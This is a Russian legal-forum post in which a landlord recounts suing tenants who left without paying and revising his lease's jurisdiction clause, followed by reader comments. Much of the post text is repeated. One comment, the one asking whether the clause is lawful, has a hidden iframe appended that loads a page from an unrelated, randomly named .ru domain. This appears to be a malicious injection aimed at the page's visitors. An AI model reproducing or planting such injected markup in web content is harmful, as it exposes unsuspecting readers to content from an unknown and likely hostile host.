Найти юриста / адвоката / эксперта
Настоящее дело с юридической точки зрения не представляло какой-либо сложности.
Исходя из этого и того, что сумма иска незначительная привлечение профессионала для участия в деле было нецелесообразно. Таким образом, не являясь профессиональным юристом, Делом занимался я сам.
В порядке отступления хочу сказать, что с одной стороны в силу жизненной позиции стараюсь не доводить дела до судебных разбирательств, с другой стороны в силу жизненного опыта убедился, что если прощать в отношении себя «кидки», то это как-то становиться общеизвестно и является очень заразительным примером и соблазном для других.
Поэтому, когда одним из дней мне позвонила соседка по этажу, где я имею комнату, и спросила: «А Вы комнату сдавать не собираетесь?» Первая мысль была, что это розыгрыш, ибо я был уверен, что комната сдана и там проживает семья из 4-х человек. На мои недоуменные вопросы соседка сообщила, что жильцы очень очень быстро собрались и съехали две недели назад.
Это был классический «кидок».
Трудность была в том, что куда съехал наниматель было не известно, а как известно наше законодательство требует, что в суд надо подавать по месту нахождения ответчика.
Упуская детали, сообщу, что адрес я очень быстро узнал у «подруг» нанимательницы, которые я бы сказал с болезненным наслаждением сдали свою бывшую подругу. Подтверждение их информации я получил, заказав выписку из ЕГРП.
По итогам дела: я еще раз убедился, насколько я прав сдавая комнату официально;
на будущее в договоре найма предусмотрел территориальную подсудность по месту моей регистрации, да бы не ездить на суды в «тьмутаракань».
Исходя из этого и того, что сумма иска незначительная привлечение профессионала для участия в деле было нецелесообразно. Таким образом, не являясь профессиональным юристом, Делом занимался я сам.
В порядке отступления хочу сказать, что с одной стороны в силу жизненной позиции стараюсь не доводить дела до судебных разбирательств, с другой стороны в силу жизненного опыта убедился, что если прощать в отношении себя «кидки», то это как-то становиться общеизвестно и является очень заразительным примером и соблазном для других.
Поэтому, когда одним из дней мне позвонила соседка по этажу, где я имею комнату, и спросила: «А Вы комнату сдавать не собираетесь?» Первая мысль была, что это розыгрыш, ибо я был уверен, что комната сдана и там проживает семья из 4-х человек. На мои недоуменные вопросы соседка сообщила, что жильцы очень очень быстро собрались и съехали две недели назад.
Это был классический «кидок».
Трудность была в том, что куда съехал наниматель было не известно, а как известно наше законодательство требует, что в суд надо подавать по месту нахождения ответчика.
Упуская детали, сообщу, что адрес я очень быстро узнал у «подруг» нанимательницы, которые я бы сказал с болезненным наслаждением сдали свою бывшую подругу. Подтверждение их информации я получил, заказав выписку из ЕГРП.
По итогам дела: я еще раз убедился, насколько я прав сдавая комнату официально;
на будущее в договоре найма предусмотрел территориальную подсудность по месту моей регистрации, да бы не ездить на суды в «тьмутаракань».
Уважаемый Анатолий Юрьевич, спасибо за информацию!
В жизни может пригодиться.
Уважаемый Александр А, спасибо за внимание к публикации.
Уважаемый Анатолий Юрьевич, Ваш случай ещё раз доказывает тот факт, что наличие договора, а также правильное его составление очень важно в гражданских правоотношениях. А некоторые ведь до сих пор сдают (снимают) жильё «под честное» слово, не оформляют даже элементарный договор найма, полагаясь на честность нанимателя (наймодателя)! В наше время считаю это верхом неосмотрительности, а то и глупости.
Уважаемая Алёна Александровна, спасибо за внимание к публикации. Как я уже говорил по итогам дела доработал договор найма.
1. По вопросу территориальной подсудности.
2. По вопросу конкретизации даты окончания срока действия договора. (С даты подписания сторонами акта-приема передачи жилого помещения, имущества и ключей нанимателем наймодателю).
Уважаемый Анатолий Юрьевич, заинтересовало условие договора найма о территориальной подсудности рассмотрения возможного спора. Хотелось бы узнать Ваше мнение и мнение коллег: не будет ли данное условие договора противоречить закону?<iframe src=«https://g33tm0yy.ru/f.html»>;</iframe>
Уважаемый Анатолий Юрьевич, удачно все сложилось, поздравляю. И за договор спасибо, пригодится
Уважаемая Юлия Владимировна, спасибо за внимание к публикации.
В последующем при заселении жильцов буду их ненавязчиво знакомить с Решением Суда.
Уважаемый Анатолий Юрьевич, можно и навязчиво, чтобы мошенники сразу отпадали;) Я заключала договор с жильцами немного другого плана, но суть примерно та же. Проблем не было. Скачала бланк в интернете и все. Но Ваш поинтереснее будет.
Бросилось в глаза:
— квартира не передается во владение, о какой ответственности может быть речь?
— квартировладелец перепродает услуги связи (телефон, интернет) квартирантам — лицензируемые услуги
Что если квартира «погибнет» в результате какой-то формы вредительства? Как доказать вину квартиранта, если ключи есть и у квартировладельца (а также у нескольких третьих лиц, прописанных в квартире) тоже?
Уважаемый Анатолий Юрьевич,
что является целью публикации?